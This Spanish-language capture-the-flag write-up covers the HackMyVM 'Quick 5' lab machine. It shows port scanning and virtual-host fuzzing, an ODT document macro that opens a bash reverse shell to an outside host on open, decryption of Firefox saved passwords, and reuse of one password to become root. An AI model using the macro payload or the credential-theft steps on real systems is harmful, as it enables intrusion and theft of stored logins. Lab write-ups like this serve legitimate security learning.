cd ~/blog

~/writeups/hmv/109-quick-5.md

109 - Quick 5

easy Linux hmv 22-07-2024
Virtual host discoveryMalicious ODT macro RCEFirefox saved credentials decryption
hackmyvm.eu/machines/machine.php?vm=Quick5

~1 min de lectura


Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.24
 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-22 21:16 -04
Nmap scan report for 192.168.1.24
Host is up (0.00036s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Quick Automative - Home
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

El sitio revela el dominio careers.quick.hmv; fuzzeamos virtual hosts:

 wfuzz -u 'http://quick.hmv' -H 'Host: FUZZ.quick.hmv' -t 100 -w ~/Documents/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hw 3572
...
000000159:   200        244 L    1067 W     13819 Ch    "careers"
000001100:   200        40 L     189 W      2258 Ch     "customer"
000010237:   200        40 L     189 W      2258 Ch     "employee"
...

En careers hay correos y un detalle de tecnologías (incluye Libre Office). El "apply to job" permite subir archivos .odt, así que creamos un documento con un macro que se ejecuta al abrirlo:

REM  *****  BASIC  *****
Sub on_open(oEvent As Object)
    Call Main
End Sub

Sub Main
	Shell("bash -c 'bash -i >& /dev/tcp/192.168.1.5/1234 0>&1'")
End Sub

Tras subirlo, alguien lo abre y obtenemos shell como andrew:

 ncat -nlvp 1234
Ncat: Connection from 192.168.1.24:39846.
bash: cannot set terminal process group (1191): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/andrew/.bashrc: Permission denied
andrew@quick5:~/applicants$

Obtenemos la primera flag. Al ser una workstation, buscamos credenciales guardadas en el navegador:

andrew@quick5:/tmp$ find / -name logins.json 2>/dev/null
/home/andrew/snap/firefox/common/.mozilla/firefox/ii990jpt.default/logins.json

Usamos firefox_decrypt; como el perfil está en otra ruta, lo enlazamos a la ubicación por defecto:

andrew@quick5:/tmp$ ln -s /home/andrew/snap/firefox/common/.mozilla /home/andrew/.mozilla

andrew@quick5:/tmp$ python3 firefox_decrypt.py

Website:   http://employee.quick.hmv
Username: 'andrew.speed@quick.hmv'
Password: 'SuperSecretPassword'

Esa contraseña es válida para root:

andrew@quick5:/tmp$ su root
Password: SuperSecretPassword
root@quick5:/tmp#

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados